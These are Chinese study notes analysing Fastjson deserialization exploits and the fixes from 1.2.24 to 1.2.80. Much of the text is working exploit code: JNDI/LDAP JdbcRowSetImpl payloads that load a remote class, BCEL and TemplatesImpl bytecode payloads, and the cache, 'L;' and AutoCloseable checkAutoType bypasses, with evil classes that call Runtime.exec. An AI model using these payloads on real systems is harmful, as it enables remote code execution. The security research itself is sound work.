Fastjson利用
fastjson和原生反序列化的区别:
不需要实现Serializable
变量可控:不需要不是transient(原生) / 变量有对应的setter或者是public或者满足条件的getter
setter/getter 不是read0bject共同点:(利用方法)
sink 反射/动态类加载
所以我们从利用方法入手,从恶意的类找到setter/getter
1.2.24利用
走jndi
从这里入手


他的实现中有一个jndi注入(先
InitialContext(),再lookup)所以我们接下来就看
getDataSourceName(lookup的参数)可不可控
这是他的set方法

string name明显我们是可控的
现在我们就要反向找,直达找到get set

看
connect()的用法
不用get

返回值不满足那四种,进到里面就是一个接口类型
所以我们这个地方用的是set

就直接传值进去,调用
connect
exp

使用yakit直接生成jndi的恶意payload
ldap://127.0.0.1:8085/ARlMObFA写到我们的exp里面
1
2
3
4
5
6
7
8
9package org.example; import com.alibaba.fastjson.JSON; public class ExpJndi { public static void main(String[] args) throws Exception { String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/ARlMObFA\",\"autoCommit\":false}"; JSON.parseObject(s); } }
劣势:
- 用了jndi,受版本限制,依赖限制,出网限制
走bcel
依赖:
1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jdbc</artifactId>
<version>9.0.20</version>
</dependency>用的本地的动态类加载,相较于jndi的远程类加载需要的东西更少
在这个地方

先看classloader

满足这个条件的名字,先创建类,在动态类加载
所以我们目前就要调用这个bcel.loadclass
先测试一下
要写convert:
将
ExpBcel.java(攻击者视角),必须有一个过程把Evil.class变成byte[],再变成$$BCEL$$字符串。(BCEL 的本质:它是把 编译后的二进制指令 伪装成字符串)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42package org.example; import com.sun.org.apache.bcel.internal.classfile.Utility; import java.io.*; public class ExpBcel { public static void main(String[] args) throws Exception { ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); byte[] bytes = convert("C:\\Users\\95227\\Desktop\\实验室\\Evil.class"); String code = Utility.encode(bytes, true);//encode因为createClass的时候里面有个decode classLoader.loadClass("$$BCEL$$" + code).newInstance();//为了满足if中的条件成功走到defineclass // BasicDataSource dataSource = new BasicDataSource(); // dataSource.setDriverClassLoader(classLoader); // dataSource.setDriverClassName("$$BCEL$$" + code); // dataSource.getConnection(); } // 补充 convert 方法实现(读取 class 文件字节流) public static byte[] convert(String filePath) throws Exception { // 1. 创建输入流指向你的 Evil.class 文件 InputStream is = new FileInputStream(filePath); // 2. 创建字节数组输出流,用来接收读取的内容 ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len; // 3. 循环读取 while ((len = is.read(buffer)) != -1) { bos.write(buffer, 0, len); } is.close(); // 4. 返回字节码数组 return bos.toByteArray(); } }

所以说,,目前我们已经找到了触发,现在我们找从哪触发
接下来我们看谁能调用到这个loadclass,就是用的
basicdatasource,这个包在tomcat里面
这快
forname加载driverClassName和driverClassLoader,要求driverClassLoader不为空所以我们就需要将我们的恶意类替换成这个地方的driverClassName
**
driverClassName**:就是塞进去的那串$$BCEL$$...字符串。**
driverClassLoader**:就是传进去的那个 BCEL 专用的ClassLoader我们看看driverClassName和driverClassLoader是否有对应的setter


说明是可控的
createDataSource()createDataSource()内部调用了createConnectionFactory()来初始化数据库连接。看看
createDataSource有没有方法可以调到他
用的是getConnection
但是这里走的是get,代码会在反序列化(
parseObject)之后,紧接着调用JSON.toJSONString(obj),扫描对象所有的get,扫描到getConnection()时,它觉得这是一个属性,于是执行invoke。结果就在“转字符串”的过程中把恶意代码执行了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29public class ExpBcel { public static void main(String[] args) throws Exception { ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); byte[] bytes = convert("C:\\Users\\95227\\Desktop\\实验室\\Evil.class"); String code = Utility.encode(bytes, true); // classLoader.loadClass("$$BCEL$$" + code).newInstance(); BasicDataSource dataSource = new BasicDataSource(); dataSource.setDriverClassLoader(classLoader); dataSource.setDriverClassName("$$BCEL$$" + code); dataSource.getConnection(); } // 补充 convert 方法实现(读取 class 文件字节流) public static byte[] convert(String filePath) throws Exception { // 1. 创建输入流指向你的 Evil.class 文件 InputStream is = new FileInputStream(filePath); // 2. 创建字节数组输出流,用来接收读取的内容 ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len; // 3. 循环读取 while ((len = is.read(buffer)) != -1) { bos.write(buffer, 0, len); } is.close(); // 4. 返回字节码数组 return bos.toByteArray(); } }变成了这样
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class ExpBcel {
public static void main(String[] args) throws Exception {
// ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
byte[] bytes = convert("C:\\Users\\95227\\Desktop\\实验室\\Evil.class");
String code = Utility.encode(bytes, true);
// classLoader.loadClass("$$BCEL$$" + code).newInstance();
// BasicDataSource dataSource = new BasicDataSource();
// dataSource.setDriverClassLoader(classLoader);
// dataSource.setDriverClassName("$$BCEL$$" + code);
// dataSource.getConnection();
String s ="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code+"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
// 补充 convert 方法实现(读取 class 文件字节流)
public static byte[] convert(String filePath) throws Exception {
// 1. 创建输入流指向你的 Evil.class 文件
InputStream is = new FileInputStream(filePath);
// 2. 创建字节数组输出流,用来接收读取的内容
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int len;
// 3. 循环读取
while ((len = is.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
is.close();
// 4. 返回字节码数组
return bos.toByteArray();
}
}注意一点:
这里我们写的Evil.class里面的恶意代码要写到static,静态代码块里面
因为要走newInstance():顺序为: static{}>{}>无参构造方法
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;
public class Evil {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
// 或者写在无参构造函数里
public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}TemplatesImpl

之前研究cc的时候,就有TemplatesImpl.getTransletInstance.newInstance,正好就是我们这地方用get来触发,还调用了newInstance

逻辑:
1
2
3
4
5_name != null _class == null//说明字节码还没被加载成类。 走defineTransletClasses();//遍历 _bytecodes defineClass//把_bytecodes它变成真正的 Class 对象并存入 _class 数组。 进到newInstance看
defineTransletClasses():
控制
_bytecodes _tfactory defineClass(defineClass给_class赋值)
也就是说,_bytecodes写好恶意代码就行
看
getTransletInstance,他返回类型并不满足条件getTransletInstance用法找到newTransformernewTransformer找到方法getOutputProperties,返回类型Properties继承 Map 所以反序列化能调它,找到了利用链的开头

Hashtable是个map
总结一下上面我们需要构造的参数
我们需要 _name, _bytecodes, _outputProperties, _tfactory,
_name限制不能为null
_bytecodes传入恶意的字节码
_outputProperties在流程中触发,必须
_tfactory 不能null,因为后面的流程中要调用,写成{},json会创建一个
TransformerFactoryImpl的实例
构造字节码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) {
}
}为什么这个Evil和上一个版本的不一样?

要求传入的_class继承与
AbstractTranslet若是未继承,则
_transletIndex为默认的-1
到
defineTransletClasses里面就会报出异常
所以我们要在Evil字节码中继承AbstractTranslet
这样的话就走到
defineTransletClasses里面的另外一个if
使得
_transletIndex等于i,这样就不会爆出异常
还有一个在exp里面需要写的
1
2
3
4
5
6
7
8
9
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}这个方法是用来Base64 编码的,将读取进来的byte[]变成字符串存到json中
和上面的convert很像,都是编码
只不过:
convert调用了Utility.encode(bytes, true),且必须以$$BCEL$$开头,被com.sun.org.apache.bcel...ClassLoader解码readClass是走的Base64.getEncoder().encodeToString(bytes),被Fastjson 自动解码 + defineClass(是标准的 Base64解码)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class ExpTemplatesImpl {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "C:\\Users\\95227\\Desktop\\实验室\\Evil.class";
String code = readClass(evilClassPath);
String s="{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\""+code+"\"],\n" +
" \"_name\": \"FastJson\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";
JSONObject jsonObject = JSONObject.parseObject(s, Feature.SupportNonPublicField);
}
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
}
接下来的版本会对 类加载有了黑名单
1.2.25利用
1.2.47之前:
测试的时候发现存在报错
autoType is not support. com.sun.rowset.JdbcRowSetImpl

对比版本修复:
跟着前面的步骤到检测@type关键字的时候
1.2.24

直接类加载
1.2.25

多了一条checkAutoType函数
也就是说在checkAutoType里面做了过滤以及加载

分析
但是有好多的if
流程:
第一个if: 首先加载
typeName是否为空第二个if:if永远为false
autoTypeSupport 为false expectClass为null所以进不去
autoTypeSupport 是新增的一个开关,默认为关

expectClass我们在上一步传入的是null
若是我们成功进去这个逻辑
要是再白名单里,就会加载
要是在黑名单里,就要爆出异常
白名单为空,跟着配置文件
黑名单:

到
getClassFromMapping
这一步主要是从
mapping中获取缓存,赋值给clazz第三个if:进if若为空则用
反序列化器(也是个缓存)寻找typeName第四个if:要是缓存里面有这个类,且满足expectClass为null,则返回这个类
第五个if:

autoTypeSupport 为true则还是前面黑名单白名单那一套
autoTypeSupport 为false继续往下走
第六个if:

条件满足则加载,明显不满足
第七个if:

第一个if里面的ClassLoader DataSource满足,则会报异常,不满足就到
expectClass第二个if里面
expectClass != null满足,返回类;不满足则到autoTypeSupport第三个if里面
!this.autoTypeSupport满足则返回类;不满足就抛异常
流程图总结:

返回类的点我已经用橙色标出来了
- autoTypeSupport 为false expectClass为nul,进不了白名单
- 缓存里面可以找到,且
expectClass为nul,那么就可以返回类,可以加载到 - 也是在白名单
- 期望类有关,期望类为null走不到这里
- autoTypeSupport得是true,也进不去
所以目前我们就需要走到就是第二点,让类在缓存里面能找到
先看getClassFromMapping里面的缓存mapping
看mapping的赋值(put)
主要有两个地方

主要是对进程刚刚开始初始化的时候,把内置的类放到mapping

加载到放在缓存里面,第二次直接在缓存里面找就好
接下来我们向上找,看
loadClass
这几个,首先递归是他自己内部的一些操作,没啥看的
parserConfig又是我们刚刚分析一堆
if的地方TypeUtils里面的就是从这里到
loadClass的所以只留下了:
MiscCodec里面的
当clazz等于Class的时候才会调用
看看这个
MiscCodec:
他继承了序列化和反序列化两个类,说明他就是一个反序列化器
我们知道,之前在分析的时候,走的是javabeanDeserializer的默认反序列化器
具体的这个获取的话,就是从config里面get得到的,可以进去看一下


里面就是将默认的需要反序列化的东西放进去
先放缓存加载类,再存缓存中返回类
所以目前就比较通常了:先利用这个类加载器,将字符串传入clazz;然后调用loadclass将类加载;加载到类名的时候放到mapping里面;最后到了
checkAutoType进if的时候,再将clazz返回构造我们的字符串
s需要构造的东西:
MiscCodec里面的strVal这一段的逻辑就是先走
stringVal,然后过滤之后,将值传到objVal,之后再由objVal将值传到strVal中所以我们来看一下
stringVal的过滤1
2
3
4
5
6
7
8if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); } else { throw new JSONException("syntax error"); }也就是说这个key的值必须是val,不然就会爆出异常
其他也就是上面1.2.24分析的东西
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;
import com.alibaba.fastjson.JSON;
public class FastJsonBypass1 {
public static void main(String[] args) {
// 第一步:反序列化一个Class类,值为恶意类
// 接着用之前的payload
String s = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/DAMmyeph\",\"autoCommit\":false}]";
JSON.parseObject(s);
}
}
1.2.41之前
后面看文章又有一个用于1.2.25-1.2.41版本的:简单说就是打开AutoType开关,走黑名单(通过),到接下来的类加载,然后再走一遍返回clazz
流程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//这是应为autoTypeSupport为true
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//这是因为expectClass = null,但是mapping中没有
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
//类加载,把L删掉(具体操作在TypeUtils里面,已经截图在了下面)
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
//再走一次返回clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
所以我们现在要打开开关
1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);编写String s
1
String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8085/wbtlKCrg\",\"autoCommit\":true}";exp
1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastJsonBypass41 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String s = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:8085/wbtlKCrg\",\"autoCommit\":true}";
JSON.parseObject(s);
}
}
其他
- 1.2.42 版本,修复把L删掉(只是修了一层)
在 checkAutoType 的最前面加了一段逻辑:在撞黑名单之前先“剥皮”了,只剥了一层!双写LL即可绕过
在 1.2.47 版本中,官方把
L;的剥离逻辑改成了循环(可以剥多层了),但它可以走“缓存检查”(就是我们上面提到的)1.2.48 版本
- 把
MiscCodec里的cache设为false,恶意类再也进不了缓存。 - 无论你走哪个分支,
typeName都会先经过严格的递归清洗,剥掉所有的L、;、[。
- 把
1.2.68
修复
1.2.47 的核心问题是 MiscCodec 在处理 java.lang.Class 时,默认调用 TypeUtils.loadClass 把恶意类塞进了缓存。
1.2.48 里的修复方案:在 MiscCodec 类里,当识别到目标是 Class.class 时,调用 loadClass 明确传了一个 cache = false。恶意类即便加载了,也不会进入 mappings 缓存,第二次 @type 进来时依然要撞黑名单。、
代码变成了:
1
2
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);//48
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());//47从 1.2.48 - 1.2.67,就是按照1.2.41的逻辑,只不过用不在黑名单里面的恶意类,官方发现一个绕过(Gadget),就往黑名单里加一个 Hash。只是找新的Gadget,没啥新的底层逻辑突破
直到1.2.68,走的是**
expectClass绕过**。如果
@type指定的类是一个特定基础类的子类(比如java.lang.AutoCloseable或者java.lang.Throwable),checkAutoType的防护逻辑会变得非常宽松。而且
expectClassFlag开关也是前面没有的
1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.68</version>
</dependency>分析
先写一个小demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;
import java.io.IOException;
public class TestFastJsonBypass68 implements AutoCloseable{
public TestFastJsonBypass68(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}1
2
3
4
5
6
7
8
9
10
package org.example;
import com.alibaba.fastjson.JSON;
public class FastJsonBypass68 {
public static void main(String[] args) {
String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.TestFastJsonBypass68\",\"cmd\":\"calc\"}\n";
JSON.parseObject(s);
}
}走
expectClass绕过,还是主要在checkautotype里面,直接断到里面
但是
expectClass为null,typeName是我们传入的第一层中间的东西就是对于之前的东西的一些过滤(
L、;、[的剥除;防止进mapping缓存)接下来从缓存获取

因为
java.lang.AutoCloseable是Fastjson 内置的这里的if都没有进去,直接返回了clazz

而且都没有走下面的!autoTypeSupport
clazz进行了一个deserialze方法
进
deserialze
因为由Autocloseable不能通过getSeeAlso方法成功生成deserializer对象,从而触发第二轮checkAutoType
这样传的参数就变成了
typeName是
org.example.TestFastJsonBypass68(恶意代码)expectClass是上一轮的
interface java.lang.AutoCloseable
expectClass目前是有值的

对exceptclass进行白名单校验,Autocloseable类内置随便过掉,然后使
exceptClassFlag置为true开exceptClassFlag就是为了能进入下面的if
进行过滤:先黑后白(这块的黑白名单都变成了hash比对,这样攻击者从源码方面就找不到名单里面具体的的类了)

!internalWhite不白名单—–true- autoTypeSupport没开—–false
- expectClassFlag上一步开了—–true
说明可以进if
第二次到这里的时候,并没有返回clazz
因为clazz开始就null,因为在mapping中没有加载到缓存(第一次到这的时候,是内部类,所以会加载到)
也就是说不会进
if (clazz != null) {,也就走不到return clazz;
开关没开(!就是true),进if,也是黑白名单

黑名单没问题,白名单不进去,所以也到不了clazz
接下
typename指定类被传入TypeUtils.loadClass
注意:
这里返回clazz是走的TypeUtils.loadClass里面内部的逻辑(上面的版本也说过)
根本不会进下面的if,所以也不是走的下面的
return clazz;
返回了clazz之后就校验是否为ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget
主要就是前几个版本的修复
判断clazz是否是exceptClass的子类,是的话就直接返回类对象。类对象被返回后,就会进入被反序列化的下一个过程,它的构造方法等会被调用,从而完成利用

剩下的东西就出了checkAutoType,到deserializer,就是我们在fastjson基础里面提到的东西了
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;
import java.io.IOException;
public class TestFastJsonBypass68 implements AutoCloseable{
public TestFastJsonBypass68(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}1
2
3
4
5
6
7
8
9
10
package org.example;
import com.alibaba.fastjson.JSON;
public class FastJsonBypass68 {
public static void main(String[] args) {
String s = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.TestFastJsonBypass68\",\"cmd\":\"calc\"}\n";
JSON.parseObject(s);
}
}
1.2.80
修复
从在 1.2.68 到 1.2.79 之间就是加黑名单,将发现的能
expectClassFlag变true的接口。而到了1.2.80用的就是另一个期望类,漏洞点异常类
Throwable(利用
Throwable家族实现万能绕过,逼迫官方放弃黑名单防御)官方不能直接删掉
expectClassFlag = true。 因为如果删了,正常的业务代码就跑不通了
- 所以目前就演变出,开启
safeMode,开启SafeMode后,checkAutoType会在进入你贴的那些expectClass判断之前就直接抛异常。导致checkAutoType返回不了clazz对象,没办法反序列化(safeMode:只要检测到用户试图使用
@type功能,它就直接抛出异常,根本不给后续代码(包括你研究的那些expectClass逻辑)任何执行的机会。)
总结
版本对比:
1.2.24版本
- 没有任何过滤器,可以使用任何类进行反序列化攻击。
- 典型攻击类:
TemplatesImpl、JdbcRowSetImpl。
1.2.25版本
- 引入
checkAutoType机制,加入黑名单和白名单。 - AutoType机制开启
- 先检查白名单,白名单中的类直接加载。
- 若不在白名单,继续检查黑名单,若不在黑名单,正常加载。
- AutoType机制关闭
- 先检查黑名单,若类在黑名单中则抛出异常。
- 再检查白名单,若不在白名单则抛出异常。
- 引入
1.2.42版本
- 加入对
L;的检测,发现L;则去除。 - 黑名单和白名单类名隐去,使用hash比对。
- 加入对
1.2.43版本
- 加入对
LL;;的检测,发现LL;;则去除。 - 通过引入对
[字符的检测进行进一步防护。
- 加入对
1.2.45版本
- 黑名单机制问题:黑名单无法穷尽所有恶意类。
1.2.47版本
- 开启AutoType且版本在33到47之间
- 若类不在白名单,则继续检查黑名单。
- 若类不在黑名单且不在mappings中,则正常加载。
- 关键问题在于如何往mappings中添加恶意类。
- 未开启AutoType且版本在24到32之间,也存在漏洞。
- 开启AutoType且版本在33到47之间
1.2.68版本
引入
1
expectedClass机制,增加了防护,但仍存在逻辑漏洞:
- 特别是针对
Throwable类的防护不足。
- 特别是针对
1.2.80版本
异常类漏洞防护
- 针对
Throwable类及其子类的漏洞防护不足进行了增强,防止利用这些类进行攻击。
- 针对
参考文章: